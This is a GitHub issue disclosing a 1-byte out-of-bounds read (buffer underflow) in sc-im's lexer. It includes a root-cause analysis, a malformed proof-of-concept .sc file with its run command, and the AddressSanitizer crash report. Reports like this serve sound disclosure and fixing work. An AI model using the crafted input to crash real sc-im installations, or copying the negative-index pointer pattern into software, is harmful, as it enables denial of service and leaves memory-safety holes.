Skip to content

[Bug] Global-buffer-overflow (Read Underflow) in yylex at src/lex.c:119 #983

Description

@oneafter

Description

We discovered a Global-buffer-overflow vulnerability in sc-im. The crash occurs in the lexical analyzer (yylex) when parsing a specifically crafted file.

The ASAN report indicates a READ memory access violation of 1 byte located 1 byte before the global variable line. This suggests a buffer underflow (accessing index -1) when scanning the input buffer.

Environment

  • OS: Linux x86_64
  • Complier: Clang
  • Build Configuration: Release mode with ASan enabled.

Vulnerability Details

  • Target: sc-im
  • Vulnerability Type: CWE-125: Out-of-bounds Read (Underflow)
  • Function: yylex
  • Location: src/lex.c:119
  • Root Cause Analysis: The vulnerability is a Global Buffer Underflow caused by state corruption of the global variable linelim.
  1. State Corruption (linelim = -1): The PoC contains malformed commands that trigger an edge case in the parser (likely during error recovery or a backspace operation). This results in linelim being incorrectly calculated as a negative value (specifically -1).
  2. Pointer Mis-initialization: Upon entering yylex, the current cursor p is initialized relative to the global buffer line:
char * p = line + linelim; // If linelim is -1, p points to line[-1]
  1. When the parser encounters the double-quote logic (*p == '"'), it initializes a lookahead pointer ptr = p + 1. Since p is line - 1, ptr becomes line (the start of the buffer). The loop condition checks *(ptr-1) (which resolves to *(line - 1)), causing an immediate read access violation on the memory address just before the global line buffer.

Reproduce

  1. Build sc-im with Release optimization and ASAN enabled.
  2. Run with the crashing file:
poc
# Th.
# it.
formnt A 10 2 0
f^rm2 0
leftstring A3 = A1#A2
gotoA0"
leftstring B0 =#A2
gotoA """"""""""""""""""
leftstring A1 = "Apple"
let B1 = 1.5>
leftstring A2 A1+A2
goto "
let B2 = 0.80
let A3 = =  A5 ) aA0
./src/sc-im --nocurses --quit_afterload poc.sc

ASAN report

==5457==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55e58d42d77f at pc 0x55e58c99baeb bp 0x7ffcaea276d0 sp 0x7ffcaea276c8
READ of size 1 at 0x55e58d42d77f thread T0
    #0 0x55e58c99baea in yylex /src/sc-im/src/lex.c:119:12
    #1 0x55e58c954a1e in yyparse /src/sc-im/src/y.tab.c:3012:16
    #2 0x55e58c92df3b in readfile /src/sc-im/src/file.c:901:36
    #3 0x55e58c945abf in load_tbl /src/sc-im/src/file.c:2287:37
    #4 0x55e58c9455b6 in load_file /src/sc-im/src/file.c:2248:5
    #5 0x55e58c99ce04 in main /src/sc-im/src/main.c:285:9
    #6 0x7f95f2d911c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #7 0x7f95f2d9128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #8 0x55e58c83cba4 in _start (/src/sc-im/src/sc-im+0x4eba4) (BuildId: a0e0444e0e3f03f87f10e6f4f651691f85705c2c)

0x55e58d42d77f is located 1 bytes before global variable 'line' defined in '/src/sc-im/src/main.c:116' (0x55e58d42d780) of size 1024
0x55e58d42d77f is located 27 bytes after global variable 'cellassign' defined in '/src/sc-im/src/main.c:106' (0x55e58d42d760) of size 4
SUMMARY: AddressSanitizer: global-buffer-overflow /src/sc-im/src/lex.c:119:12 in yylex
Shadow bytes around the buggy address:
  0x55e58d42d480: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55e58d42d500: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55e58d42d580: 04 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9
  0x55e58d42d600: 00 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9 00 00 f9 f9
  0x55e58d42d680: 00 00 f9 f9 00 00 f9 f9 00 f9 f9 f9 00 f9 f9 f9
=>0x55e58d42d700: 00 f9 f9 f9 04 f9 f9 f9 04 f9 f9 f9 04 f9 f9[f9]
  0x55e58d42d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55e58d42d980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5457==ABORTING

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions